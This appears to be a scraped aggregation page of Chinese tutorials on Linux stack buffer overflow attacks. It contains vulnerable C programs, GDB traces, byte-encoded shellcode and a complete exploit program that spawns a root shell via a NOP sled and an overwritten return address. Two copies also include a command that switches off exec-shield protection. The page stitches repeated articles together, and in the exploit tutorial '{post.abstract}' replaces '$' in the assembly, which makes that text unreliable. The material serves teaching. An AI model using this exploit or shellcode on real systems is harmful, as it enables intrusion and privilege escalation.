精华内容
下载资源
问答
  • BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过
  • 缓冲区溢出攻击原理

    2014-11-20 20:28:19
     无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。 所以溢出的目标:...

    一、溢出目标

             无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。 所以溢出的目标:控制eip寄存器。

    二、关于call/ret

          但是如何修改eip寄存器呢?在汇编指令中有一个和eip寄存器紧密相关的指令ret,ret就可以理解为pop eip。而ret指令在正常函数调用的时候都会执行的。

          我们来看下linux中函数调用的例子:

    1. #include <stdio.h>  
    2. int swap(int *a, int *b)  
    3. {          
    4.        int t;          
    5.        t = *a;          
    6.        *a = *b;          
    7.        *b = t;  
    8. }  
    9. int main()  
    10. {          
    11.        int a;          
    12.        int b;          
    13.        a = 6;          
    14.        b = 8;          
    15.        //printf("%d %d/n",a,b);          
    16.        swap(&a,&b);          
    17.        //printf("%d %d/n",a,b);          
    18.        return ;  
    19. }  


          下面是objdump –d 得到的 汇编指令。

    1. 08048344 <swap>:   
    2. 8048344:       55                      push  %ebp   
    3. 8048345:       89 e5                   mov    %esp,%ebp   
    4. 8048347:       83 ec 10                sub    $0x10,%esp   
    5. 804834a:       8b 45 08                mov    0x8(%ebp),%eax   
    6. 804834d:       8b 00                   mov    (%eax),%eax   
    7. 804834f:       89 45 fc                mov    %eax,-0x4(%ebp)   
    8. 8048352:       8b 45 0c                mov    0xc(%ebp),%eax   
    9. 8048355:       8b 10                   mov    (%eax),%edx   
    10. 8048357:       8b 45 08                mov    0x8(%ebp),%eax   
    11. 804835a:       89 10                   mov    %edx,(%eax)   
    12. 804835c:       8b 55 0c                mov    0xc(%ebp),%edx   
    13. 804835f:       8b 45 fc                mov    -0x4(%ebp),%eax   
    14. 8048362:       89 02                   mov    %eax,(%edx)   
    15. 8048364:       c9                      leave   
    16. 8048365:       c3                      ret  
    17. 08048366 <main>:   
    1. 8048366:       8d 4c 24 04             lea    0x4(%esp),%ecx   
    2. 804836a:       83 e4 f0                and    $0xfffffff0,%esp   
    3. 804836d:       ff 71 fc                pushl  -0x4(%ecx)   
    4. 8048370:       55                      push   %ebp   
    5. 8048371:       89 e5                   mov    %esp,%ebp   
    6. 8048373:       51                      push   %ecx   
    7. 8048374:       83 ec 18                sub    $0x18,%esp   
    8. 8048377:       c7 45 f8 06 00 00 00    movl   $0x6,-0x8(%ebp)   
    9. 804837e:       c7 45 f4 08 00 00 00    movl   $0x8,-0xc(%ebp)   
    10. 8048385:       8d 45 f4                lea    -0xc(%ebp),%eax   
    11. 8048388:       89 44 24 04             mov    %eax,0x4(%esp)   
    12. 804838c:       8d 45 f8                lea    -0x8(%ebp),%eax 804838f:       89 04 24                mov    %eax,(%esp)   
    13. 8048392:       e8 ad ff ff ff          call   8048344 <swap>   
    14. 8048397:       83 c4 18                add    $0x18,%esp   
    15. 804839a:       59                      pop    %ecx   
    16. 804839b:       5d                      pop    %ebp   
    17. 804839c:       8d 61 fc                lea    -0x4(%ecx),%esp   
    18. 804839f:       c3                      ret  


     我们用图来解释一下在函数调用时都发生了什么。

    绘图1

          下面是几个有用的结论:

          1、当被调用函数开始执行时堆栈由高地址到低地址依次是:被调用函数的参数(参数n,参数n-1……,参数0),eip的原始值,ebp的原始值,被调用函数自己的局部变量。这些东东不一定是连续存储的。

          2、被调用函数的局部变量的地址我们是可以知道的,保存eip原始值的位置就在局部变量的不远处。

          3、当被调用函数返回时,由ret指令恢复现场,把堆栈中的eip的原始值交还给eip。

          那么,我们只要找到堆栈中eip原始值的存储位置,把他改成shellcode的地址就OK了。

    三、一个例子

          这个例子是当main函数(也是被别的函数调用的,只不过名字比较特殊)返回时,我们把eip改掉,让他来执行/bin/ls。这段代码在arch linux是可以执行的。

    1. char shellcode[] =  
    2.     "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"  
    3.     "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
    4.     "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\x00\xc9\xc3";  
    5.   
    6. int main ()  
    7. {  
    8.     int buf[1];   
    9.     buf[7] = (int) shellcode;   
    10.     return 0;   
    11. }  


    四、关于堆栈保护

             但是上面的代码在redhat下面运行就会报段错误。因为redhat使用了堆栈保护技术,就是数据段的数据尤其是堆栈段的数据是不能被执行。

             我们可以执行首先执行 sudo echo 0 | tee /proc/sys/kernel/exec-shield。

             再运行上面的那个例子,不出意外的话应该溢出成功了:在redhat下堆栈保护的开关是由/proc/sys/kernel/exec-shield这个文件控制的。

             在实际攻击时,还有其他巧妙的方法绕过Linux不可执行堆栈保

    展开全文
  • 通过视频讲解C语言程序的运行时结构以及缓冲区溢出攻击原理
  • 在分析缓冲区溢出攻击原理的基础上,说明了攻击的成因,然后描述了目前常见的攻击类型,最后给出了现有的防范措施,进而提出了一种新的通过对编译器及相关系统级函数进行修改来解决该问题的方案。
  • linux 下缓冲区溢出攻击原理及示例

    千次阅读 2010-11-07 21:56:00
    linux 下缓冲区溢出攻击原理及示例

    一、溢出目标

             无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。 所以溢出的目标:控制eip寄存器。

    二、关于call/ret

          但是如何修改eip寄存器呢?在汇编指令中有一个和eip寄存器紧密相关的指令ret,ret就可以理解为pop eip。而ret指令在正常函数调用的时候都会执行的。

          我们来看下linux中函数调用的例子:

    #include <stdio.h>
    int swap(int *a, int *b)
    {        
           int t;        
           t = *a;        
           *a = *b;        
           *b = t;
    }
    int main()
    {        
           int a;        
           int b;        
           a = 6;        
           b = 8;        
           //printf("%d %d/n",a,b);        
           swap(&a,&b);        
           //printf("%d %d/n",a,b);        
           return ;
    }


          下面是objdump –d 得到的 汇编指令。

    08048344 <swap>: 
    8048344:       55                      push  %ebp 
    8048345:       89 e5                   mov    %esp,%ebp 
    8048347:       83 ec 10                sub    $0x10,%esp 
    804834a:       8b 45 08                mov    0x8(%ebp),%eax 
    804834d:       8b 00                   mov    (%eax),%eax 
    804834f:       89 45 fc                mov    %eax,-0x4(%ebp) 
    8048352:       8b 45 0c                mov    0xc(%ebp),%eax 
    8048355:       8b 10                   mov    (%eax),%edx 
    8048357:       8b 45 08                mov    0x8(%ebp),%eax 
    804835a:       89 10                   mov    %edx,(%eax) 
    804835c:       8b 55 0c                mov    0xc(%ebp),%edx 
    804835f:       8b 45 fc                mov    -0x4(%ebp),%eax 
    8048362:       89 02                   mov    %eax,(%edx) 
    8048364:       c9                      leave 
    8048365:       c3                      ret
    08048366 <main>: 
    8048366:       8d 4c 24 04             lea    0x4(%esp),%ecx 
    804836a:       83 e4 f0                and    $0xfffffff0,%esp 
    804836d:       ff 71 fc                pushl  -0x4(%ecx) 
    8048370:       55                      push   %ebp 
    8048371:       89 e5                   mov    %esp,%ebp 
    8048373:       51                      push   %ecx 
    8048374:       83 ec 18                sub    $0x18,%esp 
    8048377:       c7 45 f8 06 00 00 00    movl   $0x6,-0x8(%ebp) 
    804837e:       c7 45 f4 08 00 00 00    movl   $0x8,-0xc(%ebp) 
    8048385:       8d 45 f4                lea    -0xc(%ebp),%eax 
    8048388:       89 44 24 04             mov    %eax,0x4(%esp) 
    804838c:       8d 45 f8                lea    -0x8(%ebp),%eax 804838f:       89 04 24                mov    %eax,(%esp) 
    8048392:       e8 ad ff ff ff          call   8048344 <swap> 
    8048397:       83 c4 18                add    $0x18,%esp 
    804839a:       59                      pop    %ecx 
    804839b:       5d                      pop    %ebp 
    804839c:       8d 61 fc                lea    -0x4(%ecx),%esp 
    804839f:       c3                      ret


     我们用图来解释一下在函数调用时都发生了什么。

    绘图1

          下面是几个有用的结论:

          1、当被调用函数开始执行时堆栈由高地址到低地址依次是:被调用函数的参数(参数n,参数n-1……,参数0),eip的原始值,ebp的原始值,被调用函数自己的局部变量。这些东东不一定是连续存储的。

          2、被调用函数的局部变量的地址我们是可以知道的,保存eip原始值的位置就在局部变量的不远处。

          3、当被调用函数返回时,由ret指令恢复现场,把堆栈中的eip的原始值交还给eip。

          那么,我们只要找到堆栈中eip原始值的存储位置,把他改成shellcode的地址就OK了。

    三、一个例子

          这个例子是当main函数(也是被别的函数调用的,只不过名字比较特殊)返回时,我们把eip改掉,让他来执行/bin/ls。这段代码在arch linux是可以执行的。

    char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\x00\xc9\xc3";
    
    int main ()
    {
        int buf[1]; 
        buf[7] = (int) shellcode; 
        return 0; 
    }


    四、关于堆栈保护

             但是上面的代码在redhat下面运行就会报段错误。因为redhat使用了堆栈保护技术,就是数据段的数据尤其是堆栈段的数据是不能被执行。

             我们可以执行首先执行 sudo echo 0 | tee /proc/sys/kernel/exec-shield。

             再运行上面的那个例子,不出意外的话应该溢出成功了:在redhat下堆栈保护的开关是由/proc/sys/kernel/exec-shield这个文件控制的。

             在实际攻击时,还有其他巧妙的方法绕过Linux不可执行堆栈保护。

    展开全文
  • 缓冲区溢出攻击原理分析

    万次阅读 2015-01-30 22:30:26
    本文从C/C++语言的函数帧结构出发,分析缓冲溢出攻击如果修改eip进而控制执执行shellcode。

    缓冲区溢出攻击实践》以实践者角度介绍了初级缓冲区溢出攻击方法,本文从原理上对该方法做原理性介绍。


    函数帧结构

    现在高级语言C(或者C++),在函数开头的几指令要建立好函数帧结构,而函数返回时要撤消函数帧。当前在不同的CPU体系加构或者ABI标准,这些函数帧结构有一些差别,但原理上是相通的。

    我们还是以之前的示例代码作为分析对象,讨论在fread函数填数据到buf变量前的栈结构。

    下面是机器上对stack1程序 main函数反编译的结果:

    (gdb) disassemble main
    Dump of assembler code for function main:
       0x08048484 <+0>:     push   %ebp
       0x08048485 <+1>:     mov    %esp,%ebp
       0x08048487 <+3>:     and    $0xfffffff0,%esp
       0x0804848a <+6>:     sub    $0x40,%esp
       0x0804848d <+9>:     mov    $0x80485e0,%edx
       0x08048492 <+14>:    mov    $0x80485e2,%eax
       0x08048497 <+19>:    mov    %edx,0x4(%esp)
       0x0804849b <+23>:    mov    %eax,(%esp)
       0x0804849e <+26>:    call   0x80483c0 <fopen@plt>
       0x080484a3 <+31>:    mov    %eax,0x3c(%esp)
       0x080484a7 <+35>:    cmpl   $0x0,0x3c(%esp)
       0x080484ac <+40>:    jne    0x80484c1 <main+61>
       0x080484ae <+42>:    movl   $0x80485ea,(%esp)
       0x080484b5 <+49>:    call   0x8048380 <perror@plt>
       0x080484ba <+54>:    mov    $0x1,%eax
       0x080484bf <+59>:    jmp    0x80484ff <main+123>
       0x080484c1 <+61>:    lea    0x1c(%esp),%eax
       0x080484c5 <+65>:    mov    0x3c(%esp),%edx
       0x080484c9 <+69>:    mov    %edx,0xc(%esp)
       0x080484cd <+73>:    movl   $0x1,0x8(%esp)
       0x080484d5 <+81>:    movl   $0x400,0x4(%esp)
       0x080484dd <+89>:    mov    %eax,(%esp)
       0x080484e0 <+92>:    call   0x8048390 <fread@plt>
       0x080484e5 <+97>:    mov    $0x80485f0,%eax
       0x080484ea <+102>:   lea    0x1c(%esp),%edx
       0x080484ee <+106>:   mov    %edx,0x4(%esp)
       0x080484f2 <+110>:   mov    %eax,(%esp)
       0x080484f5 <+113>:   call   0x8048370 <printf@plt>
       0x080484fa <+118>:   mov    $0x0,%eax
       0x080484ff <+123>:   leave
       0x08048500 <+124>:   ret
    End of assembler dump.

    在函数体里面最先执行的几条指令,通常称为function prologue,它完成建立函数帧的功能。

    0x08048484 <+0>  push %ebp 
    0x08048485 <+1>  mov %esp,%ebp 
    0x08048487 <+3> and $0xfffffff0,%esp 
    0x0804848a <+6>  sub $0x40,%esp

    它的功能是:先将调用者的ebp压到栈上,然后将此时的esp作为被调用者的ebp(栈顶),然后根据函数局部变量的大小,将esp将压地址扩展,作为被调用者的esp(栈底);这样ebp和esp这对寄存器描述的栈空间就函数帧的空间。

    在函数返回时,它总执行以下两条指令,通常称为function epilogue

    0x080484ff <+123>   leave
    0x08048500 <+124>   ret

    它的功能是:先将当前函数的ebp赋给esp,然后再从栈中弹出(pop)调用者的ebp值到ebp寄存器,然后再从栈中弹出EIP值到pc寄存器。指令执行完后,ebp和esp就是父函数的函数帧。

    示例程序的栈帧结构


    根据上面stack1中main的反编译结果,画出如图1的栈结构:


    图1: fread函数调用函数,栈帧结构图

    这里重点关注一下buf变量在栈中的位置,当buf变量发生溢出时,就会往高地址空间覆盖。先是覆盖main函数的其它局部变量(图1没有画出来),然后是父函数的ebp,再次重点是eip,最后是父函数的栈空间。我们不关心覆盖父函数的栈空间,因为我们根本不打算返回父函数执行。

    缓冲区溢出后栈内容


    当前fread从bad.txt读取文件内容到buf缓冲区并发生溢出后,整个栈空间内容如图2所示:



    图2:fread从bad.txt文件读取数据产生溢出后的栈数据


    当函数返回时,ret指令将0xffffd710弹给pc寄存,就开始执行shellcode了。

    小结


    本文以示例程序为蓝本,分析程序的栈帧结构,以及攻击方法如何利用该结构控制EIP,改变程序执行流程,从而让程序掉到shellcode的坑里面。

    Locations of visitors to this page
    展开全文
  • 对于操作系统内存中的缓存区溢出的基本原理进行阐述,内嵌有小例子
  • 转]缓冲区溢出攻击 原理 浅显易懂 适合初学2007年12月08日 星期六 08:49 P.M.这篇是我见过的写的最细致关于缓冲区溢出攻击的文章,浅显易懂,适合初学我就借花献佛,希望需要的人能找到.........i.预备知识ii.溢出...
     转]缓冲区溢出攻击 原理 浅显易懂 适合初学
    
    2007年12月08日 星期六 08:49 P.M.

    这篇是我见过的写的最细致关于缓冲区溢出攻击的文章,浅显易懂,适合初学
    我就借花献佛,希望需要的人能找到.........


    i.预备知识
    ii.溢出原理演示
    iii.三种常用溢出方法演示及实例分析

    本来预备讲的东西很多,后来由于篇幅过长原因,所以其他一些内容就没有再讲了,比如与环境变量
    传递的BUF有关的溢出(通过setenv(),putenv()等函数传递环境变量到BUF),以及一些实例分析.这篇
    是我在学习BUFFER OVERFLOW过程中的一些心得,算是一个总结,同时也希望能帮助那些需要的
    朋友们.


    1.预备知识

    由于篇幅问题,在这里就省略了,具体可以参照汇编教程,或其他缓冲区溢出教程中的预备知识.

    这里仅仅请不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念.

    # %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.

    # %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.

    # %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)

    2.三种常用溢出方法.

    首先,我们来看一个有漏洞的程序

    [tt@ph4nt0m explab]$ cat stack1.c
    #include<stdio.h>
    int main(int argc,char **argv){
          char buf[10];
          strcpy(buf,argv[1]);
          printf("buf's 0x%8x/n",&buf);
          return 0;
    }
    [tt@ph4nt0m explab]$

    这里做了什么呢?就是构造一个10BYTES的BUFFER,然后把命令行的第一个参数拷贝进缓冲区
    由于没有进行边界检察,所以当argv[1]超过10bytes时,就会造成缓冲区溢出.当然,在理论上是只
    需要超过10BYTES,但是,实际上由于GCC的版本问题,所以往往在BUFFER后面添加了很多填充物
    ,所以实际上我们需要28BYTES才能真正覆盖BUFFER,我们还是实际来看一下

    [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x10'`
    buf's 0xbfffec30
    [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x24'`
    buf's 0xbffff220
    [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x28'`
    buf's 0xbfffe020
    段错误
    [tt@ph4nt0m explab]$

    可见当覆盖10BYTES的"A"时,程序正常退出,24BYTES也是如此,直到28BYTES时,才发生SEGMENT FAULT

    我们用GDB来调试一下会比较清楚

    [tt@ph4nt0m explab]$ gdb stack1
    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    Copyright 2003 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for details.
    This GDB was configured as "i386-redhat-linux-gnu"...
    (gdb) disass main
    Dump of assembler code for function main:
    0x0804835c <main+0>: push %ebp
    0x0804835d <main+1>: mov %esp,%ebp
    0x0804835f <main+3>: sub {post.abstract}x18,%esp
    0x08048362 <main+6>: and {post.abstract}xfffffff0,%esp
    0x08048365 <main+9>: mov {post.abstract}x0,%eax
    0x0804836a <main+14>: sub %eax,%esp
    0x0804836c <main+16>: sub {post.abstract}x8,%esp
    0x0804836f <main+19>: mov 0xc(%ebp),%eax
    0x08048372 <main+22>: add {post.abstract}x4,%eax
    ......<以下略>......

    这里我们只需要注意到
    0x0804835f <main+3>: sub {post.abstract}x18,%esp

    0x18等于10进制的24
    事实上,内存中为BUFFER分配了24字节的空间,所以就不难解释上面的结论了.
    那么接下来的4BYTES当然就造成了SEGMENT FAULT

    那么,我们到底覆盖了什么呢?重新运行程序,用28BYTES覆盖

    (gdb) r `perl -e 'print "A"x28'`
    Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x28'`
    buf's 0xbffff110

    Program received signal SIGSEGV, Segmentation fault.
    0x42015501 in __libc_start_main () from /lib/tls/libc.so.6
    (gdb) i reg
    eax 0x0 0
    ecx 0x4212ee20 1108536864
    edx 0x11 17
    ebx 0x42130a14 1108544020
    esp 0xbffff130 0xbffff130
    ebp 0x41414141 0x41414141
    esi 0x40015360 1073828704
    edi 0x80483d1 134513617
    eip 0x42015501 0x42015501
    eflags 0x10206 66054

    再次重新运行,这次再多加4BYTES,即用32BYTES覆盖

    (gdb) r `perl -e 'print "A"x32'`
    Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x32'`
    buf's 0xbffff610

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) i reg
    eax 0x0 0
    ecx 0x4212ee20 1108536864
    edx 0x11 17
    ebx 0x42130a14 1108544020
    esp 0xbffff630 0xbffff630
    ebp 0x41414141 0x41414141
    esi 0x40015360 1073828704
    edi 0x80483d0 134513616
    eip 0x41414141 0x41414141
    eflags 0x10282 66178

    通过上面两个实例,可以看到,当28BYTES时,将覆盖EBP,32BYTES时,将覆盖EIP
    (注:A的ASCII码值为41)

    所以内存中实际上是这样分布的

    +---------+
    | buf    |
    +---------+
    | 填充物 |
    +---------+
    | EBP    |
    +---------+
    | EIP    |
    +---------+
    | ...... |
    | 内存高址|


    所以,当我们覆盖了EIP后,就可以改变程序的流程,在上面用0x41414141覆盖,在内存中不可读
    当然就造成了段错误

    注意,我们要覆盖的EIP那个值,应该是我们要运行代码的入口地址,而不是代码本身.

    我们再来做一个演示

    [tt@ph4nt0m explab]$ cat stackdemo.c
    #include<stdio.h>
    void fun(){
           printf("test,being hacked!!!/n/n");
    }
    int main(int argc,char **argv){
           char buf[10];
           strcpy(buf,argv[1]);
           printf("buf's 0x%8x/n",&buf);
           printf("fun is at 0x%8x/n",fun);
           return 0;

    }
    [tt@ph4nt0m explab]$

    与之前略有区别的是这个程序中多了一个函数FUN,但是在MAIN()中没有调用,所以程序应该不调用
    FUN而正常结束.我们目标是溢出后,要能调用FUN

    通过前面的结论,我们知道,覆盖28字节后,再加上4字节将覆盖EIP,所以,只需要把这4字节,设置成FUN的
    入口地址就可以了 !


    我们具体来看.为了方便起见,我在程序中打印出了FUN函数的地址,当然也可以通过GDB 里disass fun来
    得到这个地址,结果是一样的

    [tt@ph4nt0m explab]$ ./stackdemo test
    buf's 0xbfffe130
    fun is at 0x 804835c
    [tt@ph4nt0m explab]$

    可以看到函数fun的入口地址在0x0804835c

    所以我们这样来构造应该可以调用到函数fun

    [tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "/x5c/x83/x04/x08"'`
    buf's 0xbfffe090
    fun is at 0x 804835c
    test,being hacked!!!

    段错误
    [tt@ph4nt0m explab]$


    果然成功了!函数fun成功执行了!

    通过上面的分析,我们已经基本上掌握了程序运行时,内存中的分布,那么,现在来看真正的攻击

    我们通过覆盖EIP,改变程序流程,从而执行SHELLCODE,得到一个SHELL

    下面介绍常用的三种方法.

    1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型

    这种方法适合于大缓冲区,是很传统的方法,记得ALPHA ONE在他的经典著作中就是用的这个方法

    这里N代表NOPS,也就是0x90,在实际运行中,程序将什么也不做,而是一直延着这些NOPS运行下去,
    直到遇到不是NOPS的指令再执行之.

    使用大量NOPS的原因是为了增加EXPLOIT成功的机率.

    S代表SHELLCODE,也就是我们要执行的一段代码,得到SHELL,SHELLCODE的相关问题请参考相关文档.

    R代表返回地址,在下面我都用ret表示,是我们用来覆盖EIP的那个值,他将指向SHELLCODE


    如前所述,这种方法适合于大的缓冲区,因为如果缓冲区太小,可能放不下SHELLCODE,那样就不能用RET来
    正确的覆盖EIP,从而无法得到我们想要的结果.同时,就算能放下SHELLCODE,前面的NOPS放的太少,也
    会大大影响EXPLOIT的成功率.

    我们来看实际例子

    [tt@ph4nt0m explab]$ cat stack2.c
    #include<stdio.h>

    int main(int argc,char **argv){
          char buf[500];
          strcpy(buf,argv[1]);
          printf("buf's 0x%8x/n",&buf);
          return 0;

    }
    [tt@ph4nt0m explab]$

    我们设置了一个BUF为500字节的大BUFFER,用前面的方法,用GDB反汇编得到覆盖EIP
    所需的字节.当然,这里为了演示我们还可以用另外一个方法:二分法

    就是不断测试造成溢出所需字节数,来判断覆盖所需要字节

    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'`
    buf's 0xbfffde50
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x600'`
    buf's 0xbfffebf0
    段错误
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x550'`
    buf's 0xbfffe7a0
    段错误
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x530'`
    buf's 0xbffff0c0
    段错误
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x520'`
    buf's 0xbfffe440
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x525'`
    buf's 0xbfffe0c0
    段错误
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
    buf's 0xbfffe1c0
    段错误
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x521'`
    buf's 0xbfffe040
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x522'`
    buf's 0xbffff040
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x523'`
    buf's 0xbffff140
    [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'`
    buf's 0xbfffeec0
    段错误
    [tt@ph4nt0m explab]$

    这样,最后我们就确定了溢出点,和反汇编的结果一致
    (gdb) r `perl -e 'print "A"x524'`
    Starting program: /home/tt/explab/stack2 `perl -e 'print "A"x524'`
    buf's 0xbfffd830

    Program received signal SIGSEGV, Segmentation fault.
    0x42015501 in __libc_start_main () from /lib/tls/libc.so.6
    (gdb) i reg
    eax 0x0 0
    ecx 0x4212ee20 1108536864
    edx 0x11 17
    ebx 0x42130a14 1108544020
    esp 0xbfffda40 0xbfffda40
    ebp 0x41414141 0x41414141
    esi 0x40015360 1073828704
    edi 0x80483d9 134513625
    eip 0x42015501 0x42015501
    eflags 0x10202 66050

    (gdb) disass main
    Dump of assembler code for function main:
    0x0804835c <main+0>: push %ebp
    0x0804835d <main+1>: mov %esp,%ebp
    0x0804835f <main+3>: sub {post.abstract}x208,%esp ====>这里:0x208=520,所以524覆盖了EBP
    0x08048365 <main+9>: and {post.abstract}xfffffff0,%esp
    0x08048368 <main+12>: mov {post.abstract}x0,%eax
    ...... ......


    这样,算法清楚后,就可以开始写我们的EXPLOIT了

    下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的模板.

    [tt@ph4nt0m explab]$ cat stackexp2.c
    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>

    char shellcode[]=
    // setreuid(0,0);
    "/x31/xc0" // xor %eax,%eax
    "/x31/xdb" // xor %ebx,%ebx
    "/x31/xc9" // xor %ecx,%ecx
    "/xb0/x46" // mov {post.abstract}x46,%al
    "/xcd/x80" // int {post.abstract}x80

    // execve /bin/sh
    "/x31/xc0" // xor %eax,%eax
    "/x50" // push %eax
    "/x68/x2f/x2f/x73/x68" // push {post.abstract}x68732f2f
    "/x68/x2f/x62/x69/x6e" // push {post.abstract}x6e69622f
    "/x89/xe3" // mov %esp,%ebx
    "/x8d/x54/x24/x08" // lea 0x8(%esp,1),%edx
    "/x50" // push %eax
    "/x53" // push %ebx
    "/x8d/x0c/x24" // lea (%esp,1),%ecx
    "/xb0/x0b" // mov {post.abstract}xb,%al
    "/xcd/x80" // int {post.abstract}x80

    // exit();
    "/x31/xc0" // xor %eax,%eax
    "/xb0/x01" // mov {post.abstract}x1,%al
    "/xcd/x80"; // int {post.abstract}x80


    unsigned long get_esp(){
          __asm__("movl %esp,%eax");

    }

    int main(int argc,char *argv[]){
          char buf[530];
          char* p;
          p=buf;
          int i;
          unsigned long ret;
          int offset=0;

          /* offset=400 will success */
          if(argc>1)
               offset=atoi(argv[1]);

          ret=get_esp()-offset;

          memset(buf,0x90,sizeof(buf));

          memcpy(buf+524,(char*)&ret,4);

          /* modify this value will modify nops and shellcode addr */
          memcpy(buf+i+100,shellcode,strlen(shellcode));

          printf("ret is at 0x%8x/n esp is at 0x%8x/n",ret,get_esp());

          execl("./stack2","stack2",buf,NULL);

          return 0;
    }
    [tt@ph4nt0m explab]$

    先用
    memset(buf,0x90,sizeof(buf));
    把整个BUF填满NOPS


    memcpy(buf+i+100,shellcode,strlen(shellcode));
    从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS
    当然可以增大NOPS的数目,这可以修改100这个值,但是要记住不要让SHELLCODE把EIP给覆盖了!

    再接下来就是
    memcpy(buf+524,(char*)&ret,4);
    把EIP用我们的RET覆盖,让程序跳转到NOPS里面,一直到执行我们的SHELLCODE
    (前面不是提过NOPS的特性吗?)

    最后就是用
    execl("./stack2","stack2",buf,NULL);
    来执行漏洞程序,并把我们精心构造的BUF拷贝进去了!
    注意,EXPLOIT里面的BUF是我们自己精心构造的!

    剩下的一个难点就是RET的值的确定

    因为程序的流程已经很清楚了,但是RET是我们必需要小心控制的,因为他不能落到别的地方,必需落
    到我们的NOPS里面!

    这里使用的方法一般是ESP-OFFSET的方法

    所以我们先
    unsigned long get_esp(){
    __asm__("movl %esp,%eax");

    }

    取得ESP的值,虽然这个值和EXECL后漏洞程序的ESP的值不同,但不会相差很远.然后再用OFFSET来调整,
    这样就可以得到正确的RET值了.

    我们打印出BUF的地址,因为我们的NOPS是从BUF开始的,所以只需要直到BUF的地址,把RET控制在&BUF+100
    的范围内,就可以保证RET落在NOPS中!

    具体可以通过GDB调试来看


    (gdb) r
    Starting program: /home/tt/explab/stackexp2
    ret is at 0xbffff2c0
    esp is at 0xbffff2f8

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x40000be0 in _start () from /lib/ld-linux.so.2
    (gdb) c
    Continuing.
    buf's 0xbfffea40

    Program received signal SIGSEGV, Segmentation fault.
    0xbffff2c0 in ?? ()
    (gdb) i reg eip ebp esp
    eip 0xbffff2c0 0xbffff2c0
    ebp 0x90909090 0x90909090
    esp 0xbfffec50 0xbfffec50
    (gdb) x/50x $esp-532
    0xbfffea3c: 0x00000000 0x90909090 0x90909090 0x90909090
    0xbfffea4c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffea5c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffea6c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffea7c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffea8c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffea9c: 0x90909090 0x90909090 0xdb31c031 0x46b0c931
    0xbfffeaac: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962
    0xbfffeabc: 0x24548de3 0x8d535008 0x0bb0240c 0xc03180cd
    0xbfffeacc: 0x80cd01b0 0x90909090 0x90909090 0x90909090
    0xbfffeadc: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffeaec: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffeafc: 0x90909090 0x90909090
    (gdb)

    看到了我们的SHELLCODE了吧!

    但是我们的RET没有跳到这里来,
    (gdb) i reg eip ebp esp
    eip 0xbffff2c0 0xbffff2c0
    我们的RET现在跳到这里去了......

    那么我们改变OFFSET

    [tt@ph4nt0m explab]$ ./stackexp2
    ret is at 0xbfffe0c0
    esp is at 0xbfffe0f8
    buf's 0xbfffd930
    段错误
    [tt@ph4nt0m explab]$ ./stackexp2 100
    ret is at 0xbfffd7a4
    esp is at 0xbfffd7f8
    buf's 0xbfffd630
    段错误
    [tt@ph4nt0m explab]$ ./stackexp2 200
    ret is at 0xbffff0c0
    esp is at 0xbffff178
    buf's 0xbfffefb0
    段错误
    [tt@ph4nt0m explab]$ ./stackexp2 300
    ret is at 0xbfffeb5c
    esp is at 0xbfffec78
